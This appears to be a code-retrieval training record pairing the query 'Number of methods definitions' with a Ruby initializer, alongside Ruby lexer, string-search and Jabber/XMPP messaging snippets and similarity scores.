ss.skip(/\\|\\=/) then\n action { result EXPR_BEG, :tOP_ASGN, \"|\" }\n when ss.skip(/\\|/) then\n action { state = is_after_operator? ? EXPR_ARG : EXPR_PAR; result state, :tPIPE, \"|\" }\n end # group /\\|/\n when text = ss.scan(/\\{/) then\n process_brace_open text\n when ss.match?(/\\*/) then\n case\n when ss.skip(/\\*\\*=/) then\n action { result EXPR_BEG, :tOP_ASGN, \"**\" }\n when ss.skip(/\\*\\*/) then\n action { result(:arg_state, space_vs_beginning(:tDSTAR, :tDSTAR, :tPOW), \"**\") }\n when ss.skip(/\\*\\=/) then\n action { result(EXPR_BEG, :tOP_ASGN, \"*\") }\n when ss.skip(/\\*/) then\n action { result(:arg_state, space_vs_beginning(:tSTAR, :tSTAR, :tSTAR2), \"*\") }\n end # group /\\*/\n when ss.match?(/</) then\n case\n when ss.skip(/\\<\\=\\>/) then\n action { result :arg_state, :tCMP, \"<=>\" }\n when ss.skip(/\\<\\=/) then\n action { result :arg_state, :tLEQ, \"<=\" }\n when ss.skip(/\\<\\<\\=/) then\n action { result EXPR_BEG, :tOP_ASGN, \"<<\" }\n when text = ss.scan(/\\<\\</) then\n process_lchevron text\n when ss.skip(/\\</) then\n action { result :arg_state, :tLT, \"<\" }\n end # group /</\n when ss.match?(/>/) then\n case\n when ss.skip(/\\>\\=/) then\n action { result :arg_state, :tGEQ, \">=\" }\n when ss.skip(/\\>\\>=/) then\n action { result EXPR_BEG, :tOP_ASGN, \">>\" }\n when ss.skip(/\\>\\>/) then\n action { result :arg_state, :tRSHFT, \">>\" }\n when ss.skip(/\\>/) then\n action { result :arg_state, :tGT, \">\" }\n end # group />/\n when ss.match?(/\\`/) then\n case\n when expr_fname? && (ss.skip(/\\`/)) then\n action { result(EXPR_END, :tBACK_REF2, \"`\") }\n when expr_dot? && (ss.skip(/\\`/)) then\n action { result((cmd_state ? EXPR_CMDARG : EXPR_ARG), :tBACK_REF2, \"`\") }\n when ss.skip(/\\`/) then\n action { string STR_XQUOTE, '`'; result(nil, :tXSTRING_BEG, \"`\") }\n end # group /\\`/\n when text = ss.scan(/\\?/) then\n process_questionmark text\n when ss.match?(/&/) then\n case\n when ss.skip(/\\&\\&\\=/) then\n action { result(EXPR_BEG, :tOP_ASGN, \"&&\") }\n when ss.skip(/\\&\\&/) then\n action { result(EXPR_BEG, :tANDOP, \"&&\") }\n when ss.skip(/\\&\\=/) then\n action { result(EXPR_BEG, :tOP_ASGN, \"&\" ) }\n when ss.skip(/\\&\\./) then\n action { result(EXPR_DOT, :tLONELY, \"&.\") }\n when text = ss.scan(/\\&/) then\n process_amper text\n end # group /&/\n when text = ss.scan(/\\//) then\n process_slash text\n when ss.match?(/\\^/) then\n case\n when ss.skip(/\\^=/) then\n action { result(EXPR_BEG, :tOP_ASGN, \"^\") }\n when ss.skip(/\\^/) then\n action { result(:arg_state, :tCARET, \"^\") }\n end # group /\\^/\n when ss.skip(/\\;/) then\n action { self.command_start = true; result(EXPR_BEG, :tSEMI, \";\") }\n when ss.match?(/~/) then\n case\n when is_after_operator? && (ss.skip(/\\~@/)) then\n action { result(:arg_state, :tTILDE, \"~\") }\n when ss.skip(/\\~/) then\n action { result(:arg_state, :tTILDE, \"~\") }\n end # group /~/\n when ss.match?(/\\\\/) then\n case\n when ss.skip(/\\\\\\r?\\n/) then\n action { self.lineno += 1; self.space_seen = true; next }\n when ss.skip(/\\\\/) then\n action { rb_compile_error \"bare backslash only allowed before newline\" }\n end # group /\\\\/\n when text = ss.scan(/\\%/) then\n process_percent text\n when ss.match?(/\\$/) then\n case\n when text = ss.scan(/\\$_\\w+/) then\n process_gvar text\n when text = ss.scan(/\\$_/) then\n process_gvar text\n when text = ss.scan(/\\$[~*$?!@\\/\\\\;,.=:<>\\\"]|\\$-\\w?/) then\n process_gvar text\n when in_fname? && (text = ss.scan(/\\$([\\&\\`\\'\\+])/)) then\n process_gvar text\n when text = ss.scan(/\\$([\\&\\`\\'\\+])/) then\n process_backref text\n when in_fname? && (text = ss.scan(/\\$([1-9]\\d*)/)) then\n process_gvar text\n when text = ss.scan(/\\$([1-9]\\d*)/) then\n process_nthref text\n when text = ss.scan(/\\$0/) then\n process_gvar text\n when text = ss.scan(/\\$[^[:ascii:]]+/) then\n process_gvar text\n when text = ss.scan(/\\$\\W|\\$\\z/) then\n process_gvar_oddity text\n when text = ss.scan(/\\$\\w+/) then\n process_gvar text\n end # group /\\$/\n when text = ss.scan(/\\_/) then\n process_underscore text\n when text = ss.scan(/#{IDENT}/o) then\n process_token text\n when ss.skip(/\\004|\\032|\\000|\\Z/) then\n action { [RubyLexer::EOF, RubyLexer::EOF] }\n when text = ss.scan(/./) then\n action { rb_compile_error \"Invalid char #{text.inspect} in expression\" }\n else\n text = ss.string[ss.pos .. -1]\n raise ScanError, \"can not match (#{state.inspect}) at #{location}: '#{text}'\"\n end\n else\n raise ScanError, \"undefined state at #{location}: '#{state}'\"\n end # token = case state\n\n next unless token # allow functions to trigger redo w/ nil\n end # while\n\n raise LexerError, \"bad lexical result at #{location}: #{token.inspect}\" unless\n token.nil? || (Array === token && token.size >= 2)\n\n # auto-switch state\n self.state = token.last if token && token.first == :state\n\n token\n end",
"def next_char(options = {})\n ix = column\n ix = skip_space(ix, :right) if options[:skip_space]\n char_at(ix) || ''\n end",
"def get_token\n column, line = @column, @line\n while true\n get_chars if @buf.empty? and not @eof\n return [:eof, nil, line, column] if @eof and @buf.empty?\n case @buf\n when /\\A\\(/\n eat(1)\n return [:open, nil, line, column]\n when /\\A\\)/\n eat(1)\n return [:close, nil, line, column]\n when /\\A\\[\\]=/\n eat(3)\n return [:expr, :\"[]=\", line, column]\n when /\\A\\[\\](.*)/m\n # Can be partial []=\n if ($1 == \"\") and not @eof\n get_chars\n redo\n end\n eat(2)\n return [:expr, :\"[]\", line, column]\n when /\\A\\[(.*)/m\n # Can be partial [] or []=\n if ($1 == \"\") and not @eof\n get_chars\n redo\n end\n eat(1)\n return [:sqopen, nil, line, column]\n when /\\A\\]/\n eat(1)\n return [:sqclose, nil, line, column]\n when /\\A\\'/\n eat(1)\n return [:quote, nil, line, column]\n when /\\A\\`/ # `\n eat(1)\n return [:quasiquote, nil, line, column]\n when /\\A\\,@/\n eat(2)\n return [:\"unquote-splicing\", nil, line, column]\n when /\\A\\,(.?)/m\n # Possible begin of ,@\n if $1 == \"\" and not @eof\n get_chars\n redo\n else\n eat(1)\n return [:unquote, nil, line, column]\n end\n when /\\A([ \\t\\r\\n]+)/\n eat($1.size)\n column, line = @column, @line\n redo\n when /\\A(#!.*\\n)/\n eat($1.size)\n column, line = @column, @line\n redo\n when /\\A(;.*\\n)/\n eat($1.size)\n column, line = @column, @line\n redo\n when /\\A;/m\n # Partial COMMENT\n if @eof\n return\n else\n get_chars\n redo\n end\n when /\\A#!/m\n # Partial SHEBANG\n if @eof\n return\n else\n get_chars\n redo\n end\n when /\\A#t/\n eat(2)\n return [:expr, :true, line, column]\n when /\\A#f/\n eat(2)\n return [:expr, :false, line, column]\n when /\\A#\\Z/m\n # Partial SHEBANG or #T or #F\n unless @eof\n get_chars\n redo\n end\n when /\\A([+\\-]?[0-9]+(?:(?:\\.[0-9]+)?[eE][+\\-]?[0-9]+|\\.[0-9]+))(.?)/m\n # Possible FLOAT\n # Partial FLOAT also matches, so continue if possible\n s, c = $1, $2\n if (c == \"\" or c =~ /\\A[eE]/) and not @eof\n get_chars\n redo\n else\n eat(s.size)\n return [:expr, eval(s), line, column]\n end\n when /\\A([+\\-]?(?:[1-9][0-9]*|0x[0-9a-fA-F]+|0b[01]+|0o[0-7]+|0[0-7]+|0))(.?)/m\n # Possible INT\n # Partial INT also matches, so continue if possible\n # Partial FLOAT also matches, so handle it\n s, c = $1, $2\n if (c == \"\" or c =~ /\\A[.eExbo]/) and not @eof\n get_chars\n redo\n else\n eat(s.size)\n return [:expr, eval(s), line, column]\n end\n when /\\A([a-zA-Z!$%&*+\\-.:<=>?@^_~][0-9a-zA-Z!$%&*+\\-.:<=>?@^_~]*)(.?)/m\n # Possible ID\n # Partial ID also matches, so continue if possible\n if $2 == \"\" and not @eof\n get_chars\n redo\n else\n eat($1.size)\n s = $1.to_sym\n stt = Hash.new{|ht,k| k}.merge({ :\"..\" => :dotdot, :\"...\" => :dotdotdot })\n return [:expr, stt[s], line, column]\n end\n when /\\A(\"(?:[^\"#\\\\]|#*\\\\.|#+[^{\\\\#\"])*#*\")/\n eat($1.size)\n return [:expr, eval($1), line, column]\n when /\\A((\"(?:[^\"#\\\\]|#*\\\\.|#+[^{\\\\#\"])*#*)#\\{)/\n eat($1.size)\n return [:istr_beg, eval($2+'\"'), line, column]\n when /\\A(\\}((?:[^\"#\\\\]|#*\\\\.|#+[^{\\\\#\"])*#*\"))/\n eat($1.size)\n return [:istr_end, eval('\"'+$2), line, column]\n when /\\A(\\}((?:[^\"#\\\\]|#*\\\\.|#+[^{\\\\#\"])*#*)#\\{)/\n eat($1.size)\n return [:istr_mid, eval('\"'+$2+'\"'), line, column]\n when /\\A\"/ # \"\n # Possible partial string/istr_beg\n if @eof\n raise \"EOF inside string: #{@buf}\"\n else\n get_chars\n redo\n end\n when /\\A\\}/ # \"\n # Possible partial istr_mid/istr_end\n if @eof\n raise \"EOF inside interpolated string: #{@buf}\"\n else\n get_chars\n redo\n end\n when /\\A(\\/(?:[^\\/\\\\]|\\\\.)*\\/[mix]*)(.?)/\n if $2 == \"\" and not @eof\n get_chars\n redo\n else\n eat($1.size)\n return [:expr, eval($1), line, column]\n end\n when /\\A\\//\n # Possible partial regexp\n if @eof\n raise \"EOF inside interpolated string: #{@buf}\"\n else\n get_chars\n redo\n end\n else\n raise \"Not sure what to do with: #{@buf}\"\n end\n end \n end",
"def parse_single_char\n if c = @s.scan(/\\\\[ftnr]/)\n (eval \"\\\"#{c}\\\"\").ord\n elsif c = @s.scan(/\\\\[^\\n]/)\n c[1].ord\n elsif c = @s.scan(/[^\\n\\\\\\/\\+\\*\\?\\|\\{\\}\\(\\)\\[\\]\\^\\$]/)\n c.ord\n end\n end",
"def next_match str, startline=nil, endline=nil\n # 1. look in current row after the curpos\n # 2. if no match look in rest of array\n # 3. if no match and you started from current_index, then search\n # from start of file to current_index. call _next_match with 0.\n _arr = _getarray\n if !startline\n startline = @current_index\n pos = @curpos + 1\n # FIXME you could be at end of line\n #_line = _arr[startline]\n _line = to_searchable(startline)\n _col = _line.index(str, pos) if _line\n if _col\n return [startline, _col]\n end\n startline += 1 # FIXME check this end of file\n end\n # FIXME iterate only through the ones we need, not all\n _arr.each_with_index do |line, ix|\n next if ix < startline\n break if endline && ix > endline\n # next line just a hack and not correct if only one match in file FIXME\n line = to_searchable(ix)\n _col = line.index str\n if _col\n return [ix, _col]\n end\n end\n if startline > 0\n return next_match str, 0, @current_index\n end\n return nil\n\n end",
"def last_index(str, char)\n i = 0\n str.each_char.with_index do |ch,ind|\n if ch == char\n i = ind\n end\n end\n return i\nend",
"def index_str(str, substr)\n i = 0\n substrlength = substr.length\n while i < str.length\n if str[i, substrlength] == substr\n return i\n end\n i += 1\n end\n return nil\nend",
"def line_terminator\n if line_terminator?(@codes[@pos])\n begin\n @pos += 1\n end until !line_terminator?(@codes[@pos])\n return ECMA262::LineTerminator.get\n else\n nil\n end\n end",
"def consume\n return nil if @s.eos?\n\n @s.mark\n return create_token(:whitespace) if @s.scan(RE_WHITESPACE)\n\n char = @s.consume\n\n case char.to_sym\n when :'\"'\n consume_string('\"')\n\n when :'#'\n if @s.peek =~ RE_NAME || valid_escape?\n create_token(:hash,\n :type => start_identifier? ? :id : :unrestricted,\n :value => consume_name)\n else\n create_token(:delim, :value => char)\n end\n\n when :'$'\n if @s.peek == '='\n @s.consume\n create_token(:suffix_match)\n else\n create_token(:delim, :value => char)\n end\n\n when :\"'\"\n consume_string(\"'\")\n\n when :'('\n create_token(:'(')\n\n when :')'\n create_token(:')')\n\n when :*\n if @s.peek == '='\n @s.consume\n create_token(:substring_match)\n\n elsif @options[:preserve_hacks] && @s.peek =~ RE_NAME_START\n # NON-STANDARD: IE * hack\n @s.reconsume\n consume_ident\n\n else\n create_token(:delim, :value => char)\n end\n\n when :+\n if start_number?(char + @s.peek(2))\n @s.reconsume\n consume_numeric\n else\n create_token(:delim, :value => char)\n end\n\n when :','\n create_token(:comma)\n\n when :-\n if start_number?(char + @s.peek(2))\n @s.reconsume\n consume_numeric\n elsif start_identifier?(char + @s.peek(2))\n @s.reconsume\n consume_ident\n elsif @s.peek(2) == '->'\n @s.consume\n @s.consume\n create_token(:cdc)\n else\n create_token(:delim, :value => char)\n end\n\n when :'.'\n if start_number?(char + @s.peek(2))\n @s.reconsume\n consume_numeric\n else\n create_token(:delim, :value => char)\n end\n\n when :/\n if @s.peek == '*'\n @s.consume\n\n if text = @s.scan_until(RE_COMMENT_CLOSE)\n text.slice!(-2, 2)\n else\n text = @s.consume_rest\n end\n\n if @options[:preserve_comments]\n create_token(:comment, :value => text)\n else\n consume\n end\n else\n create_token(:delim, :value => char)\n end\n\n when :':'\n create_token(:colon)\n\n when :';'\n create_token(:semicolon)\n\n when :<\n if @s.peek(3) == '!--'\n @s.consume\n @s.consume\n @s.consume\n\n create_token(:cdo)\n else\n create_token(:delim, :value => char)\n end\n\n when :'@'\n if start_identifier?\n create_token(:at_keyword, :value => consume_name)\n else\n create_token(:delim, :value => char)\n end\n\n when :'['\n create_token(:'[')\n\n when :'\\\\'\n if valid_escape?(char + @s.peek)\n @s.reconsume\n consume_ident\n else\n create_token(:delim,\n :error => true,\n :value => char)\n end\n\n when :']'\n create_token(:']')\n\n when :'^'\n if @s.peek == '='\n @s.consume\n create_token(:prefix_match)\n else\n create_token(:delim, :value => char)\n end\n\n when :'{'\n create_token(:'{')\n\n when :'}'\n create_token(:'}')\n\n when :U, :u\n if @s.peek(2) =~ RE_UNICODE_RANGE_START\n @s.consume\n consume_unicode_range\n else\n @s.reconsume\n consume_ident\n end\n\n when :|\n case @s.peek\n when '='\n @s.consume\n create_token(:dash_match)\n\n when '|'\n @s.consume\n create_token(:column)\n\n else\n create_token(:delim, :value => char)\n end\n\n when :~\n if @s.peek == '='\n @s.consume\n create_token(:include_match)\n else\n create_token(:delim, :value => char)\n end\n\n else\n case char\n when RE_DIGIT\n @s.reconsume\n consume_numeric\n\n when RE_NAME_START\n @s.reconsume\n consume_ident\n\n else\n create_token(:delim, :value => char)\n end\n end\n end",
"def next_token\n return @extra_tokens.pop unless @extra_tokens.empty?\n\n skip_whitespace\n c = @sql[@pos, 1]\n return next_string(c) if quote?(c)\n\n first_is_identifier_char = identifier_char?(c)\n t = c\n @pos += 1\n while @pos < @length\n c = @sql[@pos, 1]\n break if c == ' '\n\n this_is_identifier_char = identifier_char?(c)\n break if first_is_identifier_char != this_is_identifier_char && @length > 0\n break if !this_is_identifier_char && quote?(c)\n\n t << c\n @pos += 1\n end\n\n case t\n when ''\n nil\n when /^\\d+$/\n t.to_i\n else\n t\n end\n end",
"def string!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 14)\n\n type = STRING\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 142:3: ( '\\\"' (~ ( '\\\\\\\\' | '\\\"' ) | '\\\\\\\\' . )* '\\\"' | '\\\\'' (~ ( '\\\\\\\\' | '\\\\'' ) | '\\\\\\\\' . )* '\\\\'' )\n alt_6 = 2\n look_6_0 = @input.peek(1)\n\n if (look_6_0 == ?\") \n alt_6 = 1\n elsif (look_6_0 == ?\\') \n alt_6 = 2\n else\n nvae = NoViableAlternative(\"\", 6, 0)\n raise nvae\n end\n case alt_6\n when 1\n # at line 142:5: '\\\"' (~ ( '\\\\\\\\' | '\\\"' ) | '\\\\\\\\' . )* '\\\"'\n match(?\")\n # at line 142:10: (~ ( '\\\\\\\\' | '\\\"' ) | '\\\\\\\\' . )*\n while true # decision 4\n alt_4 = 3\n look_4_0 = @input.peek(1)\n\n if (look_4_0.between?(0x0000, ?!) || look_4_0.between?(?#, ?[) || look_4_0.between?(?], 0xFFFF)) \n alt_4 = 1\n elsif (look_4_0 == ?\\\\) \n alt_4 = 2\n\n end\n case alt_4\n when 1\n # at line 142:12: ~ ( '\\\\\\\\' | '\\\"' )\n if @input.peek(1).between?(0x0000, ?!) || @input.peek(1).between?(?#, ?[) || @input.peek(1).between?(?], 0x00FF)\n @input.consume\n else\n mse = MismatchedSet(nil)\n recover(mse)\n raise mse\n end\n\n\n\n when 2\n # at line 142:31: '\\\\\\\\' .\n match(?\\\\)\n match_any\n\n else\n break # out of loop for decision 4\n end\n end # loop for decision 4\n match(?\")\n\n when 2\n # at line 143:5: '\\\\'' (~ ( '\\\\\\\\' | '\\\\'' ) | '\\\\\\\\' . )* '\\\\''\n match(?\\')\n # at line 143:10: (~ ( '\\\\\\\\' | '\\\\'' ) | '\\\\\\\\' . )*\n while true # decision 5\n alt_5 = 3\n look_5_0 = @input.peek(1)\n\n if (look_5_0.between?(0x0000, ?&) || look_5_0.between?(?(, ?[) || look_5_0.between?(?], 0xFFFF)) \n alt_5 = 1\n elsif (look_5_0 == ?\\\\) \n alt_5 = 2\n\n end\n case alt_5\n when 1\n # at line 143:12: ~ ( '\\\\\\\\' | '\\\\'' )\n if @input.peek(1).between?(0x0000, ?&) || @input.peek(1).between?(?(, ?[) || @input.peek(1).between?(?], 0x00FF)\n @input.consume\n else\n mse = MismatchedSet(nil)\n recover(mse)\n raise mse\n end\n\n\n\n when 2\n # at line 143:31: '\\\\\\\\' .\n match(?\\\\)\n match_any\n\n else\n break # out of loop for decision 5\n end\n end # loop for decision 5\n match(?\\')\n\n end\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 14)\n\n end",
"def fromStateString(line, s)\n\ti = s\n\tuntil line[i] == '\t' || i == line.length\n\t\ti = i+1\n\t\tif i>7\n\t\t\tputs 'ERROR: cannot read line in fromStateString'\n\t\t\treturn -1\n\t\tend\n\tend\n\treturn line[s..i-1]\nend"
] |
[
"0.67579234",
"0.6156957",
"0.59752715",
"0.5926413",
"0.5747184",
"0.57238555",
"0.56371343",
"0.56250733",
"0.55413306",
"0.5534771",
"0.5502382",
"0.5502261",
"0.55008113",
"0.54952234",
"0.54776293",
"0.5457325",
"0.54088736",
"0.540388",
"0.5380807",
"0.5360562",
"0.53555155",
"0.5320052",
"0.5316695",
"0.52965814",
"0.52964723",
"0.5291004",
"0.5291004",
"0.5246139",
"0.52392983",
"0.5222456",
"0.51857114",
"0.5185439",
"0.51753587",
"0.51665866",
"0.516652",
"0.5150996",
"0.5148322",
"0.51257217",
"0.51160705",
"0.5115637",
"0.51000094",
"0.50944835",
"0.5090833",
"0.5086843",
"0.5076858",
"0.5073777",
"0.50690085",
"0.5060057",
"0.5047686",
"0.50229675",
"0.50222975",
"0.50040656",
"0.49995834",
"0.49893582",
"0.49849918",
"0.49729416",
"0.49590126",
"0.49304536",
"0.49280077",
"0.49268907",
"0.49122792",
"0.49097803",
"0.48951706",
"0.48824596",
"0.48745754",
"0.48613808",
"0.48551574",
"0.48546633",
"0.48489496",
"0.48413718",
"0.48326442",
"0.48322925",
"0.48313135",
"0.48241094",
"0.47942585",
"0.47879303",
"0.47781834",
"0.4762144",
"0.4760469",
"0.47572362",
"0.4740169",
"0.4735666",
"0.47304773",
"0.4728589",
"0.47236165",
"0.47038338",
"0.47011873",
"0.46930268",
"0.46912318",
"0.468415",
"0.46648714",
"0.46604156",
"0.46589193",
"0.46584362",
"0.46564987",
"0.46537662",
"0.4645163",
"0.4639153",
"0.46384108",
"0.463314"
] |
0.7862305
|
0
|
Number of methods definitions
|
def initialize(base_path, path)
@path = path
@full_path = File.join(base_path, path)
init_metrics
calculate_file_metrics
calculate_code_metrics
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def define_method_count\n repository.files.map do |file|\n content = repository.read(file)\n content.to_s.scan(/define_method/).size\n end.sum\n end",
"def count_method\n @method_count += 1\n end",
"def define_methods\n count = 0\n Kernel.send(:define_method, :list) do \n count\n end\n Kernel.send(:define_method, :inc) do \n count += 5\n end\nend",
"def count; end",
"def count; end",
"def count; end",
"def total_documented\n @methods.select {|b| b}.length +\n @classes.select {|b| b}.length +\n @modules.select {|b| b}.length +\n @attrs.select {|b| b}.length +\n @constants.select {|b| b}.length\n end",
"def class_count\n repository.files(:pattern => /.rb/).map do |file|\n content = repository.read(file)\n count_calls(:defs,content)\n end.sum\n end",
"def instance_count\n repository.files(:pattern => /.rb/).map do |file|\n content = repository.read(file)\n count_calls(:def,content)\n end.sum\n end",
"def count\n # implement in subclasses\n end",
"def count_lines_in_method(method_name)\n flag = false\n lines = []\n File.foreach(@current_path) do |line|\n break if line =~ /def/ && flag\n lines << line if flag && line.strip != '' && line.strip[0] != '#'\n flag = true if line =~ /def #{method_name}/\n end\n\n lines.size\n end",
"def count\n end",
"def count\n end",
"def count\n raise NotImplementedError\n end",
"def accessors_count\n self.accessors.count\n end",
"def count a\nend",
"def count=(_); end",
"def count\n __types__.count\n end",
"def count_YZ\nend",
"def count_ops()\n 0\n end",
"def count\n defined_types.size\n end",
"def methods() end",
"def size()\n #This is a stub, used for indexing\n end",
"def operation_count\n \toperations.count\n end",
"def total_entities\n @methods.length +\n @classes.length +\n @modules.length +\n @attrs.length +\n @constants.length\n end",
"def count\n 1\n end",
"def xxxtest_overloaded_functions\r\n length = initialize_length(\r\n <<-EOD\r\n void fun1(integer arg) {\r\n i = i++;\r\n }\r\n void fun1(string arg)\r\n {\r\n int i = 0;\r\n if (i == 0) {\r\n printf(\"Hello Zero\");\r\n }\r\n }\r\n EOD\r\n )\r\n function_length = length.counts\r\n assert_equal(7, function_length[\"fun1\"])\r\n end",
"def methods; end",
"def methods; end",
"def methods; end",
"def methods; end",
"def size=(_); end",
"def size=(_); end",
"def count_elements\nend",
"def size() end",
"def size() end",
"def size() end",
"def size() end",
"def size() end",
"def size() end",
"def arity\n method(:call).arity\n end",
"def count=(_arg0); end",
"def frequency\n \n end",
"def arity() end",
"def arity() end",
"def count\n case @call.method_name\n when :expects, :once\n 1\n when :returns\n the_call_to_stubs_or_expects.method_name == :expects ? 1 : nil\n when :twice\n 2\n end\n end",
"def size()\n #This is a stub, used for indexing\n end",
"def size()\n #This is a stub, used for indexing\n end",
"def num_keys\n end",
"def proc_count()\n @proc_cnt\n end",
"def count\n @count ||= 0\n @count += 1\n end",
"def full_count\n @clazz.count\n end",
"def define_methods\n shared = 0\n\n Kernel.send :define_method, :counter do\n shared\n end\n\n Kernel.send :define_method, :inc do |x|\n shared += x\n end\nend",
"def count\n @symbols.count\n end",
"def counting\n puts \"hard to do right\"\n end",
"def length()\n #This is a stub, used for indexing\n end",
"def class_count\n @_count ||= \"(#{classes.size}/#{vedeu_classes.size})\"\n end",
"def define_methods\n shared = 0\n\n Kernel.send :define_method, :counter do\n shared\n end\n\n Kernel.send :define_method, :inc do |x|\n shared += x\n end\nend",
"def size(*) end",
"def size(*) end",
"def method_length_freq es\n es.group_by(&:method_name)\n .map {|_,v| v.last }\n .reject {|e| e.status == :deleted }\n .map {|e| e.method_length }\n .freq\nend",
"def count_lines_in_class(klass)\n lines = klass.methods.map {|method| method.lines}.inject(:+)\n lines.nil? ? 0 : lines\n end",
"def define_methods\n shared = 0\n \n define_method :counter do #if use def, it cannot use the shared\n p shared\n end\n \n Kernel.send :define_method, :inc do \n p shared+1\n end\nend",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def size; end",
"def robot_counter\n\n\tend",
"def class_method_count_freq es\n es.group_by(&:class_name)\n .map {|_,v| v.map(&:method_name).uniq.count }\n .freq\nend",
"def length; count end",
"def call_count ; @call_count ||= 0 end",
"def size\n @definitions.size\n end",
"def get_field_count\n\t\tend",
"def size(*args); end",
"def length()\n #This is a stub, used for indexing\n end",
"def request_count; end",
"def has_methods_for_counter?\n false\n end",
"def hit_count()\n #This is a stub, used for indexing\n end",
"def turbulence events\n events.group_by(&:method_name)\n .map {|class_name,es| [class_name, es.count, (es.last ? es.last.method_length : 0)] }\nend",
"def definitions; end",
"def definitions; end",
"def count\n @count ||= 0\n end",
"def size\n\n\n end",
"def count\n each.count\n end"
] |
[
"0.81960005",
"0.77093583",
"0.73550254",
"0.73059815",
"0.73059815",
"0.73059815",
"0.7265893",
"0.7103927",
"0.70878065",
"0.69808865",
"0.6899272",
"0.6893922",
"0.6893922",
"0.6743966",
"0.6683728",
"0.6643012",
"0.6612481",
"0.656727",
"0.6550257",
"0.65297216",
"0.6448481",
"0.6438913",
"0.6340482",
"0.6310838",
"0.6299705",
"0.62733793",
"0.6266879",
"0.6242243",
"0.6242243",
"0.6242243",
"0.6242243",
"0.6229811",
"0.6229811",
"0.6228538",
"0.6219545",
"0.6219545",
"0.6219545",
"0.6219545",
"0.6219545",
"0.6219545",
"0.6217586",
"0.61960834",
"0.6166377",
"0.6162911",
"0.6162911",
"0.6155214",
"0.61514056",
"0.61514056",
"0.6124854",
"0.61246204",
"0.6120906",
"0.6117206",
"0.6106429",
"0.6091763",
"0.60893583",
"0.6079843",
"0.6072277",
"0.607032",
"0.6049922",
"0.6049922",
"0.60496217",
"0.60373247",
"0.60361224",
"0.602919",
"0.602919",
"0.602919",
"0.602919",
"0.602919",
"0.602919",
"0.602919",
"0.602919",
"0.602919",
"0.602919",
"0.602919",
"0.602919",
"0.602919",
"0.602919",
"0.602919",
"0.602919",
"0.602919",
"0.602919",
"0.602919",
"0.602919",
"0.602919",
"0.6015081",
"0.6011878",
"0.6001841",
"0.5995177",
"0.59929216",
"0.5977999",
"0.5973972",
"0.5961378",
"0.5943713",
"0.59361553",
"0.59326977",
"0.593038",
"0.59273916",
"0.59273916",
"0.5927074",
"0.5910917",
"0.59093463"
] |
0.0
|
-1
|
Umozliwia wysylanie wiadomosci do danego uzytkownika jid [Jabber::JID] adres kontaktu do ktorego ma zostac wyslana wiadomosc wiadomosc [String] wiadomosc do wyslania typ [String] typ wiadomosci do wyslania
|
def wyslij_wiadomosc(jid,wiadomosc,typ=:chat)
kontakty(jid) do |znajomy|
unless subskryp? znajomy
dodaj_do_listy(znajomy.jid)
return dodaj_do_wyslania_po_akceptacji(znajomy.jid,wiadomosc,typ)
end
wiad=Message.new(znajomy.jid)
wiad.type=typ
wiad.body=wiadomosc
wyslij(wiad)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def dodaj_do_wyslania_po_akceptacji(jid,wiadomosc,typ)\n\twiad={:do => jid, :wiadomosc => wiadomosc, :typ => typ}\n\t@wiadomosci_do_wyslania << wiad\n end",
"def jid; end",
"def jid\n \"#{@username}@#{@domain}\"\n end",
"def jid\n JID::new(attributes['jid'])\n end",
"def jid\n JID::new(attributes['jid'])\n end",
"def jid\n JID::new(attributes['jid'])\n end",
"def jid=(j)\n attributes['jid'] = (j ? j.to_s : nil)\n end",
"def usun_z_listy(*jid)\n\tkontakty(*jid) do |usun|\n\t\tusun.usun_subskrypcje\n\t\treq=Iq.new_rosterset\n\t\treq.query.add(Roster::RosterItem.new(usun.jid,nil,:remove))\n\t\twyslij(req)\n\tend\n end",
"def jid\n (a = attributes['jid']) ? JID.new(a) : nil\n end",
"def jid=(jid)\n attributes[:jid] = jid\n end",
"def wyslij(wiadomosc)\n\tproba=0\n\tbegin\n\t\tproba+=1\n\t\[email protected](wiadomosc)\n\trescue\n\t\tretry unless proba>3\n\tend\n end",
"def jid=(jid)\n subscription_node[:jid] = jid\n end",
"def to_s\n jid.to_s\n end",
"def jid=(_arg0); end",
"def loguj(jids,haslo)\n\tjid=JID::new(jids)\n\t@klient=Client::new(jid)\n\[email protected]\n\[email protected](haslo)\n\[email protected](Presence.new.set_type(:available))\n\t@wiadomosci_do_wyslania=Queue.new\n\tdef_callback\n\tsleep(1)\n\tThread.new{\n\t\twhile(true)\n\t\t\tnext if @wiadomosci_do_wyslania.length<1\n\t\t\twiadomosci=[@wiadomosci_do_wyslania.pop]\n\t\t\twiadomosci.each{ |wiadomosc|\n\t\t\t\tif subskryp?(JID::new(wiadomosc[:do]))\n\t\t\t\t\twyslij_wiadomosc(wiadomosc[:do],wiadomosc[:wiadomosc],wiadomosc[:typ])\n\t\t\t\telse\n\t\t\t\t\t@wiadomosci_do_wyslania << wiadomosc\n\t\t\t\tend\n\t\t\t}\n\t\tend\n\t}\n end",
"def jid=(jid)\n unsubscribe[:jid] = jid\n end",
"def jid\n client.jid\n end",
"def jid\n JID.new(unsubscribe[:jid])\n end",
"def set_jugadalot\n @jugadalot = Jugadalot.find(params[:id])\n end",
"def dodaj_do_listy(*jid)\n\tkontakty(*jid) do |kontakt|\n\t\tnext if subskryp?(kontakt)\n\t\tkontakt.autoryzacja\n\tend\n end",
"def jid=(val)\n attributes['jid'] = val.to_s\n end",
"def jid\n JID.new(subscription_node[:jid])\n end",
"def jid=(val)\n attributes['jid'] = val.nil? ? nil : val.to_s\n end",
"def jid=(val)\n attributes['jid'] = val.nil? ? nil : val.to_s\n end",
"def send_message(jid,text)\n m = Jabber::Message.new(jid, text)\n m.set_type :chat\n @client.send m\n end",
"def full\n jid.full\n end",
"def jugada_jugador\n @jugada_jugador\n end",
"def to_jid(name)\n Blather::JID.new(CGI.escape(name), stream.jid.domain).to_s.downcase\n end",
